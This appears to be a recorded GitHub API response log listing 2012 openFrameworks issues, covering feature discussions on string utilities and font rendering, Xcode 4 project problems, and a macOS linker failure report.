rate.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T15:45:11Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4941'), ('content-length', '55518'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"414a5c156bbe219ad21d164052b40f6c"'), ('date', 'Tue, 29 May 2012 19:27:11 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","comments":6,"milestone":null,"number":1132,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","assignee":null,"title":"ofStringUtils:: feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-31T17:52:48Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":3911629,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","comments":25,"milestone":null,"number":1131,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","assignee":null,"title":"ofTTF feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T17:36:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":3911537,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1130,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","assignee":null,"title":"Define standard header for examples.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-31T14:44:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3910580,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1129,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-31T14:39:04Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3910555,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","comments":1,"milestone":null,"number":1128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","assignee":null,"title":"upgrade scripts","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T14:38:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3910549,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","assignee":null,"title":"PG Feature request: Clean examples folder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-30T12:51:30Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3897090,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","comments":0,"milestone":null,"number":1124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","assignee":null,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-29T16:47:29Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":31100},"id":3883598,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","comments":2,"milestone":null,"number":1120,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","assignee":null,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-28T16:21:45Z","state":"open","user":{"url":"https://api.github.com/users/imanhp","gravatar_id":"7398ab0bbd07832d0289f26773e65077","login":"imanhp","avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1216228},"id":3856005,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1118,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Default paths.make for Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2012-03-28T12:19:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3850655,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","comments":0,"milestone":null,"number":1117,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","assignee":null,"title":"Can't retrieve desired frame rate once set","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-27T11:48:00Z","state":"open","user":{"url":"https://api.github.com/users/armadillu","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","login":"armadillu","avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167057},"id":3825582,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","comments":5,"milestone":null,"number":1116,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","assignee":null,"title":"ofVBO updateIndexData incorrect buffer type.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-26T18:26:05Z","state":"open","user":{"url":"https://api.github.com/users/vade","gravatar_id":"37aca214d4875cd90af9d67072c82642","login":"vade","avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":65011},"id":3813852,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","comments":3,"milestone":null,"number":1115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","assignee":null,"title":"optimization level in xcode projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":null,"created_at":"2012-03-26T17:05:14Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1239872},"id":3812318,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","comments":1,"milestone":null,"number":1114,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","assignee":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"title":"macros in ofArduino","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-26T17:02:21Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1239872},"id":3812275,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","comments":9,"milestone":null,"number":1112,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","assignee":null,"title":"Issue with QtKitMovieGrabberExample in apps/devapps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-26T12:11:44Z","state":"open","user":{"url":"https://api.github.com/users/OlexandrStepanov","gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","login":"OlexandrStepanov","avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":971079},"id":3807459,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return 